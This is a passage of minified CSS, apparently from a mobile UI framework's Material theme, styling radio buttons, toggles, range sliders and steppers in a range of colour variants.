input[type=radio]:checked~.icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .color-theme-yellow .radio .ripple-wave{background:rgba(255,235,59,.5)}.md .color-theme-orange .icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .color-theme-orange .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .color-theme-orange .radio .ripple-wave{background:rgba(255,152,0,.5)}.md .color-theme-gray .icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .color-theme-gray .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .color-theme-gray .radio .ripple-wave{background:rgba(158,158,158,.5)}.md .color-theme-white .icon-radio:after{background-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{border-color:#fff}.md .color-theme-white .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .color-theme-white .radio .ripple-wave{background:rgba(255,255,255,.5)}.md .color-theme-black .icon-radio:after{background-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{border-color:#000}.md .color-theme-black .radio input[type=radio]:checked~.icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio:after,.md .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .color-theme-black .radio .ripple-wave{background:rgba(0,0,0,.5)}.md .radio.color-red .icon-radio:after{background-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio{border-color:#f44336}.md .radio.color-red input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-red input[type=radio]:checked~.icon-radio:after{background-color:#f44336}.md .radio.color-red .ripple-wave{background:rgba(244,67,54,.5)}.md .radio.color-green .icon-radio:after{background-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4caf50}.md .radio.color-green input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-green input[type=radio]:checked~.icon-radio:after{background-color:#4caf50}.md .radio.color-green .ripple-wave{background:rgba(76,175,80,.5)}.md .radio.color-blue .icon-radio:after{background-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#2196f3}.md .radio.color-blue input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-blue input[type=radio]:checked~.icon-radio:after{background-color:#2196f3}.md .radio.color-blue .ripple-wave{background:rgba(33,150,243,.5)}.md .radio.color-pink .icon-radio:after{background-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#e91e63}.md .radio.color-pink input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-pink input[type=radio]:checked~.icon-radio:after{background-color:#e91e63}.md .radio.color-pink .ripple-wave{background:rgba(233,30,99,.5)}.md .radio.color-yellow .icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#ffeb3b}.md .radio.color-yellow input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-yellow input[type=radio]:checked~.icon-radio:after{background-color:#ffeb3b}.md .radio.color-yellow .ripple-wave{background:rgba(255,235,59,.5)}.md .radio.color-orange .icon-radio:after{background-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9800}.md .radio.color-orange input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-orange input[type=radio]:checked~.icon-radio:after{background-color:#ff9800}.md .radio.color-orange .ripple-wave{background:rgba(255,152,0,.5)}.md .radio.color-gray .icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#9e9e9e}.md .radio.color-gray input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-gray input[type=radio]:checked~.icon-radio:after{background-color:#9e9e9e}.md .radio.color-gray .ripple-wave{background:rgba(158,158,158,.5)}.md .radio.color-white .icon-radio:after{background-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.md .radio.color-white input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-white input[type=radio]:checked~.icon-radio:after{background-color:#fff}.md .radio.color-white .ripple-wave{background:rgba(255,255,255,.5)}.md .radio.color-black .icon-radio:after{background-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.md .radio.color-black input[type=radio]:checked~.icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~* .icon-radio:after,.md label.item-radio.color-black input[type=radio]:checked~.icon-radio:after{background-color:#000}.md .radio.color-black .ripple-wave{background:rgba(0,0,0,.5)}.toggle{display:inline-block;vertical-align:middle;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.toggle input[type=checkbox]{display:none}.toggle input[disabled]~.toggle-icon{pointer-events:none}.toggle-icon{z-index:0;margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;position:relative;-webkit-transition:.3s;transition:.3s;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;cursor:pointer}.toggle-icon:after,.toggle-icon:before{content:''}.toggle-icon:after{background:#fff;position:absolute;z-index:2;-webkit-transform:translateX(0);transform:translateX(0);-webkit-transition-duration:.3s;transition-duration:.3s}.md .toggle{width:36px;height:14px}.md .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(16px);transform:translateX(16px);background:#2196f3}.md .toggle-icon{width:36px;height:14px;border-radius:14px;background:#b0afaf}.md .toggle-icon:after{height:20px;width:20px;top:-3px;-webkit-box-shadow:0 2px 5px rgba(0,0,0,.4);box-shadow:0 2px 5px rgba(0,0,0,.4);border-radius:10px;left:0}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .color-theme-red .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .color-theme-green .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .color-theme-blue .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .color-theme-pink .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .color-theme-yellow .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .color-theme-orange .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .color-theme-gray .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .color-theme-white .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .color-theme-black .toggle input[type=checkbox]:checked+.toggle-icon:after{background:#000}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background:rgba(244,67,54,.5)}.md .toggle.color-red input[type=checkbox]:checked+.toggle-icon:after{background:#f44336}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background:rgba(76,175,80,.5)}.md .toggle.color-green input[type=checkbox]:checked+.toggle-icon:after{background:#4caf50}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background:rgba(33,150,243,.5)}.md .toggle.color-blue input[type=checkbox]:checked+.toggle-icon:after{background:#2196f3}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background:rgba(233,30,99,.5)}.md .toggle.color-pink input[type=checkbox]:checked+.toggle-icon:after{background:#e91e63}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background:rgba(255,235,59,.5)}.md .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon:after{background:#ffeb3b}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background:rgba(255,152,0,.5)}.md .toggle.color-orange input[type=checkbox]:checked+.toggle-icon:after{background:#ff9800}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background:rgba(158,158,158,.5)}.md .toggle.color-gray input[type=checkbox]:checked+.toggle-icon:after{background:#9e9e9e}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background:rgba(255,255,255,.5)}.md .toggle.color-white input[type=checkbox]:checked+.toggle-icon:after{background:#fff}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background:rgba(0,0,0,.5)}.md .toggle.color-black input[type=checkbox]:checked+.toggle-icon:after{background:#000}.range-slider{display:block;width:100%;position:relative;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.range-slider input[type=range]{display:none}.range-bar{position:absolute;left:0;top:50%;width:100%;overflow:hidden}.range-bar-active{position:absolute;left:0;top:0;height:100%}.range-knob-wrap{z-index:20;position:absolute;top:50%;left:0}.range-knob{-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:50%;position:absolute;left:0;top:0;width:100%;height:100%;z-index:1}.range-knob:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.range-knob-label{position:absolute;left:50%;bottom:100%;text-align:center;-webkit-transition-duration:120ms;transition-duration:120ms;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translateY(100%) scale(0);transform:translateY(100%) scale(0)}.range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.md .range-slider{height:20px}.md .range-bar{background:#b9b9b9;height:2px;margin-top:-1px}.md .range-bar-active{background:#2196f3}.md .range-knob-wrap{height:12px;width:12px;margin-top:-6px;margin-left:-6px}.md .range-knob{background:#2196f3;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:background-color,-webkit-transform;transition-property:background-color,-webkit-transform;transition-property:transform,background-color;transition-property:transform,background-color,-webkit-transform}.md .range-knob-active-state .range-knob{-webkit-transform:scale(1.5);transform:scale(1.5)}.md .range-slider-min:not(.range-slider-dual) .range-knob{background:#fff!important;border:2px solid #b9b9b9}.md .range-knob-label{width:26px;height:26px;margin-left:-13px;margin-bottom:8px;background:#2196f3;color:#fff;font-size:10px;border-radius:50%;line-height:26px}.md .range-knob-label:before{content:'';left:50%;top:0;margin-left:-13px;position:absolute;z-index:-1;width:26px;height:26px;background:#2196f3;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);border-radius:50% 50% 50% 0}.md .range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.md .range-slider-label .range-knob-active-state .range-knob{-webkit-transform:scale(0);transform:scale(0)}.md .color-theme-red .range-slider .range-bar-active,.md .color-theme-red .range-slider .range-knob,.md .color-theme-red .range-slider .range-knob-label,.md .color-theme-red .range-slider .range-knob-label:before{background-color:#f44336}.md .color-theme-green .range-slider .range-bar-active,.md .color-theme-green .range-slider .range-knob,.md .color-theme-green .range-slider .range-knob-label,.md .color-theme-green .range-slider .range-knob-label:before{background-color:#4caf50}.md .color-theme-blue .range-slider .range-bar-active,.md .color-theme-blue .range-slider .range-knob,.md .color-theme-blue .range-slider .range-knob-label,.md .color-theme-blue .range-slider .range-knob-label:before{background-color:#2196f3}.md .color-theme-pink .range-slider .range-bar-active,.md .color-theme-pink .range-slider .range-knob,.md .color-theme-pink .range-slider .range-knob-label,.md .color-theme-pink .range-slider .range-knob-label:before{background-color:#e91e63}.md .color-theme-yellow .range-slider .range-bar-active,.md .color-theme-yellow .range-slider .range-knob,.md .color-theme-yellow .range-slider .range-knob-label,.md .color-theme-yellow .range-slider .range-knob-label:before{background-color:#ffeb3b}.md .color-theme-orange .range-slider .range-bar-active,.md .color-theme-orange .range-slider .range-knob,.md .color-theme-orange .range-slider .range-knob-label,.md .color-theme-orange .range-slider .range-knob-label:before{background-color:#ff9800}.md .color-theme-gray .range-slider .range-bar-active,.md .color-theme-gray .range-slider .range-knob,.md .color-theme-gray .range-slider .range-knob-label,.md .color-theme-gray .range-slider .range-knob-label:before{background-color:#9e9e9e}.md .color-theme-white .range-slider .range-bar-active,.md .color-theme-white .range-slider .range-knob,.md .color-theme-white .range-slider .range-knob-label,.md .color-theme-white .range-slider .range-knob-label:before{background-color:#fff}.md .color-theme-black .range-slider .range-bar-active,.md .color-theme-black .range-slider .range-knob,.md .color-theme-black .range-slider .range-knob-label,.md .color-theme-black .range-slider .range-knob-label:before{background-color:#000}.md .range-slider.color-red .range-bar-active,.md .range-slider.color-red .range-knob,.md .range-slider.color-red .range-knob-label,.md .range-slider.color-red .range-knob-label:before{background-color:#f44336}.md .range-slider.color-green .range-bar-active,.md .range-slider.color-green .range-knob,.md .range-slider.color-green .range-knob-label,.md .range-slider.color-green .range-knob-label:before{background-color:#4caf50}.md .range-slider.color-blue .range-bar-active,.md .range-slider.color-blue .range-knob,.md .range-slider.color-blue .range-knob-label,.md .range-slider.color-blue .range-knob-label:before{background-color:#2196f3}.md .range-slider.color-pink .range-bar-active,.md .range-slider.color-pink .range-knob,.md .range-slider.color-pink .range-knob-label,.md .range-slider.color-pink .range-knob-label:before{background-color:#e91e63}.md .range-slider.color-yellow .range-bar-active,.md .range-slider.color-yellow .range-knob,.md .range-slider.color-yellow .range-knob-label,.md .range-slider.color-yellow .range-knob-label:before{background-color:#ffeb3b}.md .range-slider.color-orange .range-bar-active,.md .range-slider.color-orange .range-knob,.md .range-slider.color-orange .range-knob-label,.md .range-slider.color-orange .range-knob-label:before{background-color:#ff9800}.md .range-slider.color-gray .range-bar-active,.md .range-slider.color-gray .range-knob,.md .range-slider.color-gray .range-knob-label,.md .range-slider.color-gray .range-knob-label:before{background-color:#9e9e9e}.md .range-slider.color-white .range-bar-active,.md .range-slider.color-white .range-knob,.md .range-slider.color-white .range-knob-label,.md .range-slider.color-white .range-knob-label:before{background-color:#fff}.md .range-slider.color-black .range-bar-active,.md .range-slider.color-black .range-knob,.md .range-slider.color-black .range-knob-label,.md .range-slider.color-black .range-knob-label:before{background-color:#000}.stepper{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch}.stepper-button,.stepper-button-minus,.stepper-button-plus{text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;cursor:pointer}.stepper-button .icon,.stepper-button-minus .icon,.stepper-button-plus .icon{pointer-events:none}.stepper-value{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.stepper-input-wrap,.stepper-value{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;text-align:center}.stepper-button-minus,.stepper-button-plus{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.stepper-button-minus:after,.stepper-button-minus:before,.stepper-button-plus:after,.stepper-button-plus:before{content:'';position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.stepper-button-minus:after,.stepper-button-plus:after{width:15px;height:2px}.stepper-button-plus:before{height:15px;width:2px}.stepper .stepper-input-wrap input,.stepper .stepper-value{width:45px}.md .stepper{height:36px}.md .stepper-button,.md .stepper-button-minus,.md .stepper-button-plus{border:2px solid #2196f3;color:#2196f3;line-height:34px;height:36px;width:40px;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.md .stepper-button+.stepper-button,.md .stepper-button+.stepper-button-minus,.md .stepper-button+.stepper-button-plus,.md .stepper-button-minus+.stepper-button,.md .stepper-button-minus+.stepper-button-minus,.md .stepper-button-minus+.stepper-button-plus,.md .stepper-button-plus+.stepper-button,.md .stepper-button-plus+.stepper-button-minus,.md .stepper-button-plus+.stepper-button-plus{border-left:none}.md .stepper-button-minus.active-state,.md .stepper-button-plus.active-state,.md .stepper-button.active-state{background:rgba(0,0,0,.1)}.md .stepper-button-minus:first-child,.md .stepper-button-plus:first-child,.md .stepper-button:first-child{border-radius:4px 0 0 4px}.md .stepper-button-minus:last-child,.md .stepper-button-plus:last-child,.md .stepper-button:last-child{border-radius:0 4px 4px 0}.md .stepper-button-minus:after,.md .stepper-button-minus:before,.md .stepper-button-plus:after,.md .stepper-button-plus:before{background:#2196f3}.md .stepper-input-wrap,.md .stepper-value{border-top:2px solid #2196f3;border-bottom:2px solid #2196f3}.md .stepper .stepper-input-wrap input,.md .stepper .stepper-value{color:#2196f3;font-size:14px;font-weight:500;text-align:center}.md .stepper .stepper-input-wrap input{height:100%}.md .stepper-fill .stepper-button,.md .stepper-fill .stepper-button-minus,.md .stepper-fill .stepper-button-plus,.md .stepper-fill-md .stepper-button,.md .stepper-fill-md .stepper-button-minus,.md .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff;border:none;line-height:36px}.md .stepper-fill .stepper-button-minus.active-state,.md .stepper-fill .stepper-button-plus.active-state,.md .stepper-fill .stepper-button.active-state,.md .stepper-fill-md .stepper-button-minus.active-state,.md .stepper-fill-md .stepper-button-plus.active-state,.md .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper-fill .stepper-button-minus:after,.md .stepper-fill .stepper-button-minus:before,.md .stepper-fill .stepper-button-plus:after,.md .stepper-fill .stepper-button-plus:before,.md .stepper-fill .stepper-button:after,.md .stepper-fill .stepper-button:before,.md .stepper-fill-md .stepper-button-minus:after,.md .stepper-fill-md .stepper-button-minus:before,.md .stepper-fill-md .stepper-button-plus:after,.md .stepper-fill-md .stepper-button-plus:before,.md .stepper-fill-md .stepper-button:after,.md .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper-fill .stepper-button+.stepper-button,.md .stepper-fill .stepper-button-minus+.stepper-button-plus,.md .stepper-fill-md .stepper-button+.stepper-button,.md .stepper-fill-md .stepper-button-minus+.stepper-button-plus{border-left:1px solid rgba(0,0,0,.1)}.md .stepper-fill-md.stepper-big .stepper-button,.md .stepper-fill-md.stepper-big .stepper-button-minus,.md .stepper-fill-md.stepper-big .stepper-button-plus,.md .stepper-fill-md.stepper-big-md .stepper-button,.md .stepper-fill-md.stepper-big-md .stepper-button-minus,.md .stepper-fill-md.stepper-big-md .stepper-button-plus,.md .stepper-fill.stepper-big .stepper-button,.md .stepper-fill.stepper-big .stepper-button-minus,.md .stepper-fill.stepper-big .stepper-button-plus,.md .stepper-fill.stepper-big-md .stepper-button,.md .stepper-fill.stepper-big-md .stepper-button-minus,.md .stepper-fill.stepper-big-md .stepper-button-plus{line-height:48px}.md .stepper-fill-md.stepper-small .stepper-button,.md .stepper-fill-md.stepper-small .stepper-button-minus,.md .stepper-fill-md.stepper-small .stepper-button-plus,.md .stepper-fill-md.stepper-small-md .stepper-button,.md .stepper-fill-md.stepper-small-md .stepper-button-minus,.md .stepper-fill-md.stepper-small-md .stepper-button-plus,.md .stepper-fill.stepper-small .stepper-button,.md .stepper-fill.stepper-small .stepper-button-minus,.md .stepper-fill.stepper-small .stepper-button-plus,.md .stepper-fill.stepper-small-md .stepper-button,.md .stepper-fill.stepper-small-md .stepper-button-minus,.md .stepper-fill.stepper-small-md .stepper-button-plus{line-height:28px}.md .stepper-small,.md .stepper-small-md{height:28px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus{height:28px;line-height:24px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small .stepper-input-wrap,.md .stepper-small .stepper-value,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus,.md .stepper-small-md .stepper-input-wrap,.md .stepper-small-md .stepper-value{border-width:2px}.md .stepper-big,.md .stepper-big-md{height:48px}.md .stepper-big .stepper-button,.md .stepper-big .stepper-button-minus,.md .stepper-big .stepper-button-plus,.md .stepper-big-md .stepper-button,.md .stepper-big-md .stepper-button-minus,.md .stepper-big-md .stepper-button-plus{height:48px;line-height:46px}.md .stepper-big .stepper-button-minus:first-child,.md .stepper-big .stepper-button-plus:first-child,.md .stepper-big .stepper-button:first-child,.md .stepper-big-md .stepper-button-minus:first-child,.md .stepper-big-md .stepper-button-plus:first-child,.md .stepper-big-md .stepper-button:first-child{border-radius:4px 0 0 4px}.md .stepper-big .stepper-button-minus:last-child,.md .stepper-big .stepper-button-plus:last-child,.md .stepper-big .stepper-button:last-child,.md .stepper-big-md .stepper-button-minus:last-child,.md .stepper-big-md .stepper-button-plus:last-child,.md .stepper-big-md .stepper-button:last-child{border-radius:0 4px 4px 0}.md .stepper-round .stepper-button-minus:first-child,.md .stepper-round .stepper-button-plus:first-child,.md .stepper-round .stepper-button:first-child,.md .stepper-round-md .stepper-button-minus:first-child,.md .stepper-round-md .stepper-button-plus:first-child,.md .stepper-round-md .stepper-button:first-child{border-radius:36px 0 0 36px}.md .stepper-round .stepper-button-minus:last-child,.md .stepper-round .stepper-button-plus:last-child,.md .stepper-round .stepper-button:last-child,.md .stepper-round-md .stepper-button-minus:last-child,.md .stepper-round-md .stepper-button-plus:last-child,.md .stepper-round-md .stepper-button:last-child{border-radius:0 36px 36px 0}.md .stepper-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);border-radius:4px}.md .stepper-raised.stepper-big,.md .stepper-raised.stepper-big-md{border-radius:4px}.md .stepper-raised.stepper-round,.md .stepper-raised.stepper-round-md{border-radius:36px}.md .stepper-raised .stepper-input-wrap,.md .stepper-raised .stepper-value{border:none}.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap,.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value{border-left:1px solid rgba(0,0,0,.1);border-right:1px solid rgba(0,0,0,.1)}.md .stepper-raised .stepper-button,.md .stepper-raised .stepper-button-minus,.md .stepper-raised .stepper-button-plus{border:none}.md .stepper-raised .stepper-button+.stepper-button,.md .stepper-raised .stepper-button-minus+.stepper-button-plus{border-left:1px solid rgba(0,0,0,.1)}.md .color-theme-red .stepper-button,.md .color-theme-red .stepper-button-minus,.md .color-theme-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .color-theme-red .stepper-button-minus:after,.md .color-theme-red .stepper-button-minus:before,.md .color-theme-red .stepper-button-plus:after,.md .color-theme-red .stepper-button-plus:before{background:#f44336}.md .color-theme-red .stepper-input-wrap,.md .color-theme-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .color-theme-red .stepper-value{color:#f44336}.md .color-theme-red .stepper .stepper-input-wrap input{color:#f44336}.md .color-theme-red .stepper-fill .stepper-button,.md .color-theme-red .stepper-fill .stepper-button-minus,.md .color-theme-red .stepper-fill .stepper-button-plus,.md .color-theme-red .stepper-fill-md .stepper-button,.md .color-theme-red .stepper-fill-md .stepper-button-minus,.md .color-theme-red .stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .color-theme-red .stepper-fill .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill .stepper-button.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .color-theme-red .stepper-fill .stepper-button-minus:after,.md .color-theme-red .stepper-fill .stepper-button-minus:before,.md .color-theme-red .stepper-fill .stepper-button-plus:after,.md .color-theme-red .stepper-fill .stepper-button-plus:before,.md .color-theme-red .stepper-fill .stepper-button:after,.md .color-theme-red .stepper-fill .stepper-button:before,.md .color-theme-red .stepper-fill-md .stepper-button-minus:after,.md .color-theme-red .stepper-fill-md .stepper-button-minus:before,.md .color-theme-red .stepper-fill-md .stepper-button-plus:after,.md .color-theme-red .stepper-fill-md .stepper-button-plus:before,.md .color-theme-red .stepper-fill-md .stepper-button:after,.md .color-theme-red .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-green .stepper-button,.md .color-theme-green .stepper-button-minus,.md .color-theme-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .color-theme-green .stepper-button-minus:after,.md .color-theme-green .stepper-button-minus:before,.md .color-theme-green .stepper-button-plus:after,.md .color-theme-green .stepper-button-plus:before{background:#4caf50}.md .color-theme-green .stepper-input-wrap,.md .color-theme-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .color-theme-green .stepper-value{color:#4caf50}.md .color-theme-green .stepper .stepper-input-wrap input{color:#4caf50}.md .color-theme-green .stepper-fill .stepper-button,.md .color-theme-green .stepper-fill .stepper-button-minus,.md .color-theme-green .stepper-fill .stepper-button-plus,.md .color-theme-green .stepper-fill-md .stepper-button,.md .color-theme-green .stepper-fill-md .stepper-button-minus,.md .color-theme-green .stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .color-theme-green .stepper-fill .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill .stepper-button.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button.active-state{background:#409343}.md .color-theme-green .stepper-fill .stepper-button-minus:after,.md .color-theme-green .stepper-fill .stepper-button-minus:before,.md .color-theme-green .stepper-fill .stepper-button-plus:after,.md .color-theme-green .stepper-fill .stepper-button-plus:before,.md .color-theme-green 